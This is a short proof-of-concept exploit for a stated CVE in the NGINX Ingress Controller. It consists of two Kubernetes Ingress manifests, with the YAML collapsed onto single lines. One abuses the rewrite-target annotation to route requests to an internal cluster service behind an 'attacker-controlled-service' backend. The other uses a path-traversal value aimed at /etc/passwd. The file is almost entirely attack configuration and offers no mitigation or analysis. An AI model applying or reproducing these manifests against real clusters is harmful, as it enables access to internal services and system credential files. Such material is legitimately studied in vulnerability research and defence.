CVE-2025-14727

# CVE-2025-14727 PoC - NGINX Ingress Controller rewrite-target annotation bypass # This PoC demonstrates how a malicious rewrite-target annotation can bypass validation apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: malicious-ingress annotations: nginx.org/rewrite-target: "http://internal-service.default.svc.cluster.local${uri}" spec: rules: - host: example.com http: paths: - path: /exploit pathType: Prefix backend: service: name: attacker-controlled-service port: number: 80 --- # Alternative PoC with path traversal apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: traversal-ingress annotations: nginx.org/rewrite-target: "/../../etc/passwd" spec: rules: - host: target.com http: paths: - path: / pathType: Prefix backend: service: name: nginx-ingress port: number: 80

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